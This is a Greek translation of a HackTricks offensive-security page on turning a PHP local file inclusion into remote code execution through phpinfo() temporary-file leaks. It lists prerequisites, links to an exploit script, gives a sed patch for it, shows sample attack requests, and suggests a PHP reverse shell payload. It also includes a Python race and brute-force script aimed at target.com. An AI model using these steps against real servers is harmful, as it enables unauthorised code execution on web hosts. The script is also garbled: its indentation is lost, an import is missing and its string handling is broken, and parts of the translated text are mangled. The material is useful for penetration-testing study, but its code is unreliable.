LFI2RCE via phpinfo()

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται η phpinfo(), "file_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον κατάλογο "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Οδηγός HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε => σε =>). Για να το κάνετε αυτό μπορείτε να κάνετε:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Πρέπει να αλλάξετε επίσης το payload στην αρχή της εκμετάλλευσης (για ένα php-rev-shell για παράδειγμα), το REQ1 (πρέπει να δείχνει στη σελίδα phpinfo και πρέπει να περιλαμβάνει το padding, δηλαδή: REQ1 = """POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), και το LFIREQ (πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r -- Ελέγξτε το διπλό "%" κατά την εκμετάλλευση του null char)

Θεωρία

Εάν επιτρέπονται οι μεταφορτώσεις στο PHP και προσπαθήσετε να μεταφορτώσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό κατάλογο μέχρι ο διακομιστής να ολοκληρώσει το αίτημα, και στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.

Στη συνέχεια, εάν έχετε βρει μια ευπάθεια LFI στον web server, μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν αυτό διαγραφεί.

Στα Windows, τα αρχεία αποθηκεύονται συνήθως στο C:\Windows\temp\php

Στο Linux, το όνομα του αρχείου συνήθως είναι τυχαίο και βρίσκεται στο /tmp. Καθώς το όνομα είναι τυχαίο, είναι απαραίτητο να εξαχθεί από κάπου το όνομα του προσωρινού αρχείου και να αποκτηθεί πρόσβαση πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής $_FILES μέσα στο περιεχόμενο της συνάρτησης "phpconfig()".

phpinfo()

Το PHP χρησιμοποιεί έναν buffer μεγέθους 4096B και όταν είναι γεμάτος, το στέλνει στον πελάτη. Στη συνέχεια, ο πελάτης μπορεί να στείλει πολλά μεγάλα αιτήματα (χρησιμοποιώντας μεγάλους κεφαλίδες) μεταφορτώνοντας ένα ανάποδο php shell, να περιμένει να επιστραφεί η πρώτη μέρος της phpinfo() (όπου βρίσκεται το όνομα του προσωρινού αρχείου) και να προσπαθήσει να αποκτήσει πρόσβαση στο προσωρινό αρχείο πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.

Σενάριο Python για να προσπαθήσει να βρει το όνομα με βίαιο τρόπο (εάν το μήκος = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated